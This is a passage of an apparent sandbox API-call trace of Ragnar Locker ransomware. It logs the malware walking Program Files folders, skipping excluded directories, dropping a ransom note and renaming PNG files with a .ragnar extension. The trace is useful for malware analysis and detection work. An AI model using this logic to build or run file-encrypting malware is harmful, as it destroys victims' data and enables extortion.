Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" [0079.302] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png.ragnar_FD7BD9FC" [0079.302] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\sports_disc_mask.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sports_disc_mask.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.302] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71384d39, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71384d39, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ff68a0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x23d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="sports_disc_mask.png", cAlternateFileName="")) returned 0 [0079.302] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.302] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa19a729d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stacking", cAlternateFileName="")) returned 1 [0079.302] lstrcmpiW (lpString1="Stacking", lpString2=".") returned 1 [0079.302] lstrcmpiW (lpString1="Stacking", lpString2="..") returned 1 [0079.302] lstrcmpiW (lpString1="Stacking", lpString2="Windows") returned -1 [0079.302] lstrcmpiW (lpString1="Stacking", lpString2="Windows.old") returned -1 [0079.302] lstrcmpiW (lpString1="Stacking", lpString2="Tor browser") returned -1 [0079.302] lstrcmpiW (lpString1="Stacking", lpString2="Internet Explorer") returned 1 [0079.302] lstrcmpiW (lpString1="Stacking", lpString2="Google") returned 1 [0079.302] lstrcmpiW (lpString1="Stacking", lpString2="Opera") returned 1 [0079.302] lstrcmpiW (lpString1="Stacking", lpString2="Opera Software") returned 1 [0079.302] lstrcmpiW (lpString1="Stacking", lpString2="Mozilla") returned 1 [0079.302] lstrcmpiW (lpString1="Stacking", lpString2="Mozilla Firefox") returned 1 [0079.302] lstrcmpiW (lpString1="Stacking", lpString2="$Recycle.Bin") returned 1 [0079.302] lstrcmpiW (lpString1="Stacking", lpString2="ProgramData") returned 1 [0079.302] lstrcmpiW (lpString1="Stacking", lpString2="All Users") returned 1 [0079.302] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x33 [0079.302] lstrcpyW (in: lpString1=0x1eb620, lpString2="Stacking" | out: lpString1="Stacking") returned="Stacking" [0079.302] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking", lpString2="\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\" [0079.302] lstrcpyW (in: lpString1=0x1eb3b4, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\" [0079.302] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\RGNR_FD7BD9FC.txt") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\RGNR_FD7BD9FC.txt" [0079.302] CopyFileW (lpExistingFileName="C:\\Users\\Public\\Documents\\RGNR_FD7BD9FC.txt" (normalized: "c:\\users\\public\\documents\\rgnr_fd7bd9fc.txt"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\RGNR_FD7BD9FC.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\rgnr_fd7bd9fc.txt"), bFailIfExists=1) returned 1 [0079.307] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\", lpString2="*.*" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*" [0079.307] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", nBufferLength=0x104, lpBuffer=0x1ea6d4, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.307] lstrcpyW (in: lpString1=0x1ea4cc, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.307] lstrcpyW (in: lpString1=0x1ea746, lpString2="*.*" | out: lpString1="*.*") returned="*.*" [0079.307] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8183ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8183ecc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.307] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0079.307] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8183ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8183ecc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.307] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0079.307] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0079.307] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x540920df, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0079.307] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0079.307] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0079.307] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f71a8d6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f71a8d6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5396df3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0079.308] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2=".") returned 1 [0079.308] lstrcmpiW (lpString1="1047x576_91n92.png", lpString2="..") returned 1 [0079.308] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x544241af, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0079.308] lstrcmpiW (lpString1="15x15dot.png", lpString2=".") returned 1 [0079.308] lstrcmpiW (lpString1="15x15dot.png", lpString2="..") returned 1 [0079.308] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0079.308] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2=".") returned 1 [0079.308] lstrcmpiW (lpString1="720x480icongraphic.png", lpString2="..") returned 1 [0079.308] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="720_480shadow.png", cAlternateFileName="")) returned 1 [0079.308] lstrcmpiW (lpString1="720_480shadow.png", lpString2=".") returned 1 [0079.308] lstrcmpiW (lpString1="720_480shadow.png", lpString2="..") returned 1 [0079.308] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7ff104, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7ff104, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54613375, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.308] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2=".") returned 1 [0079.308] lstrcmpiW (lpString1="NavigationLeft_ButtonGraphic.png", lpString2="..") returned 1 [0079.308] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54e68005, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.308] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2=".") returned 1 [0079.308] lstrcmpiW (lpString1="NavigationLeft_SelectionSubpicture.png", lpString2="..") returned 1 [0079.308] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7d8fa7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7d8fa7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54f98af5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.308] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2=".") returned 1 [0079.308] lstrcmpiW (lpString1="NavigationRight_ButtonGraphic.png", lpString2="..") returned 1 [0079.308] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f78cced, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f78cced, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.308] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2=".") returned 1 [0079.308] lstrcmpiW (lpString1="NavigationRight_SelectionSubpicture.png", lpString2="..") returned 1 [0079.308] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f766b90, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f766b90, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.308] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2=".") returned 1 [0079.308] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="..") returned 1 [0079.308] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.308] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2=".") returned 1 [0079.308] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="..") returned 1 [0079.308] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 1 [0079.308] lstrcmpiW (lpString1="photograph.png", lpString2=".") returned 1 [0079.308] lstrcmpiW (lpString1="photograph.png", lpString2="..") returned 1 [0079.308] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8183ecc0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8183ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.309] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0079.309] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0079.309] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8183ecc0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8183ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 0 [0079.309] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.309] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8183ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8183ecc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.309] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa198102e, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8183ecc0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x8183ecc0, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.309] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x540920df, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0079.309] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.309] lstrcpyW (in: lpString1=0x1eab5a, lpString2="1047x576black.png" | out: lpString1="1047x576black.png") returned="1047x576black.png" [0079.309] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png") returned=".png" [0079.309] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.309] CloseHandle (hObject=0xffffffff) returned 0 [0079.309] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" [0079.309] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png.ragnar_FD7BD9FC" [0079.309] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576black.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576black.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.309] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f71a8d6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f71a8d6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5396df3f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1928, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576_91n92.png", cAlternateFileName="")) returned 1 [0079.310] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.310] lstrcpyW (in: lpString1=0x1eab5a, lpString2="1047x576_91n92.png" | out: lpString1="1047x576_91n92.png") returned="1047x576_91n92.png" [0079.310] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png") returned=".png" [0079.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.310] CloseHandle (hObject=0xffffffff) returned 0 [0079.310] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" [0079.310] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png.ragnar_FD7BD9FC" [0079.310] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\1047x576_91n92.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\1047x576_91n92.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.310] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x544241af, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x0, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1 [0079.310] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.310] lstrcpyW (in: lpString1=0x1eab5a, lpString2="15x15dot.png" | out: lpString1="15x15dot.png") returned="15x15dot.png" [0079.310] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png") returned=".png" [0079.310] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.311] CloseHandle (hObject=0xffffffff) returned 0 [0079.311] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" | out: 